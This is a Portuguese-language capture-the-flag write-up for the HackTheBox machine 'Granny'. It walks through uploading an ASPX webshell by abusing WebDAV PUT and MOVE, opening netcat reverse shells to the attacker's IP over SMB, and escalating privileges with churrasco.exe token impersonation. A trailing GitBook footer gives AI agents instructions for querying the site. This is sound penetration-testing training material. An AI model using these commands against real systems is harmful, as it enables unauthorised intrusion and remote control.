> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Relato do HackTheBox Granny

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**Habilidades:**

* Abusando dos métodos PUT e MOVE - Fazendo upload de uma WebShell ASPX
* Microsoft IIS 6.0 - Overflow remoto de buffer (RCE) no WebDAV 'ScStoragePathFromUrl'
* Sequestro de token - Churrasco (elevação de privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/83a0d203c94c07f7670c55b32bc876a6c398e034" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/873df6f406e2c4402973a5a22e330bb14358065e" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="/files/89ec2e8962ffa5c6015673057e9234d0fb284b7b" alt=""><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="/files/ee9bc4e896617fa23f6dfc074e099a26d054aff1" alt=""><figcaption></figcaption></figure>

### Porta 80 - HTTP

<figure><img src="/files/c7b80c26b64bbd2e4e1bfdf205cd7863104f1972" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade WebDAV

A porta 80 está aberta, e o servidor suporta WebDAV. Isso potencialmente nos permite fazer upload de arquivos via o método PUT e renomeá-los com MOVE.

<figure><img src="/files/5cfb9ada64e7e4d1a69f0d48fce33a6981df2b32" alt=""><figcaption></figcaption></figure>

Crie um arquivo de teste:

```bash
echo "isso é um teste" > test.txt
```

Conecte-se ao servidor com a **cadaver** ferramenta:

```bash
cadaver 10.10.10.15
```

Tente fazer upload do arquivo com o comando PUT:

<figure><img src="/files/fb2ebc4fe69ae5be8dd96bedd1fe7da905051fa3" alt=""><figcaption></figcaption></figure>

* Resultado: Sucesso.

<figure><img src="/files/4a88da30131dcda2b57aff9ad48751bb7e2e6aba" alt="" width="563"><figcaption></figcaption></figure>

### **Upload de Web Shell**

Copie uma WebShell ASPX pré-existente:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Tente fazer upload diretamente:

```powershell
put aspx_cmd.aspx
```

Resultado: Falha (o servidor bloqueia arquivos com a extensão .aspx).

<figure><img src="/files/b3eff09a7246cf0d1ea36bf6384bc34ddf40842e" alt="" width="563"><figcaption></figcaption></figure>

Altere a extensão para **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

Tente fazer o upload novamente:

```powershell
PUT cmd.txt
```

* Resultado: Sucesso.

<figure><img src="/files/43a380ef60b53a7f50c633f20ecc5751a0a06829" alt="" width="563"><figcaption></figcaption></figure>

#### Renomeie o arquivo com MOVE para restaurar a extensão:

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="/files/cf66b09773ff5af1f859736fc61192ba223c18e9" alt=""><figcaption></figcaption></figure>

Acesse a WebShell via navegador:

<figure><img src="/files/f7e100bbe96fd68270aba4db6b8597aafda62b54" alt=""><figcaption></figcaption></figure>

### **Shell reversa via WebShell:**

Coloque um executável do Netcat no diretório atual:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Execute um servidor SMB para compartilhar o arquivo:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Escute na sua máquina na porta 443:

```bash
sudo rlwrap nc -nvlp 443
```

Execute o comando de shell reversa a partir da WebShell:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="/files/960e5e91eaf27ed5fca1b388c3b52e8bb7611026" alt=""><figcaption></figcaption></figure>

## **Elevação de privilégios :**

### Exploração do kernel - Windows Server 2003

Usando as `systeminfo` comando, descobrimos que o equipamento é muito antigo (Windows Server 2003):

```bash
systeminfo
```

<figure><img src="/files/21b5878411ac18c7b0b293a237907f5a74add8c2" alt=""><figcaption></figcaption></figure>

Também temos o `SeImpersonatePrivilege` privilégio, que nos permite tentar elevar privilégios.

<figure><img src="/files/4e57e5f05eb09e43ad7716ae14e144c43e768a5e" alt=""><figcaption></figcaption></figure>

Para contornar essa limitação, vamos usar a ferramenta **churrasco.exe** .

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Transferência de arquivos do Windows (SMB)/*/*

> Usamos **smbserver.py** para compartilhar um diretório contendo o arquivo de exploit 40627.exe. Esse arquivo então é copiado para a máquina-alvo.

```bash
smbserver.py share $(pwd) -smb2support
```

Da máquina-alvo, copiamos o arquivo malicioso usando o comando SMB:

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

Podemos então executar qualquer comando com esse binário, por exemplo:

```powershell
./churrasco.exe "whoami"
```

<figure><img src="/files/f91f491670cfe289bed8644a7de58d88d42dd60f" alt="" width="563"><figcaption></figcaption></figure>

**Estabelecer shell reversa**

Para estabelecer uma shell reversa, escutamos na porta 443:

```bash
sudo rlwrap nc -nvlp 443
```

Recriamos um servidor SMB com **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

Por fim, executamos a shell reversa com o seguinte comando:

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="/files/f1efdf99f5a7b1bb057c5d48bf6812c258ab7784" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/84e8f86528872d76fd00437507e54e8eeaae63af" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/62bef5bbde43e0bd18a2232a77d19a5709447d39" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
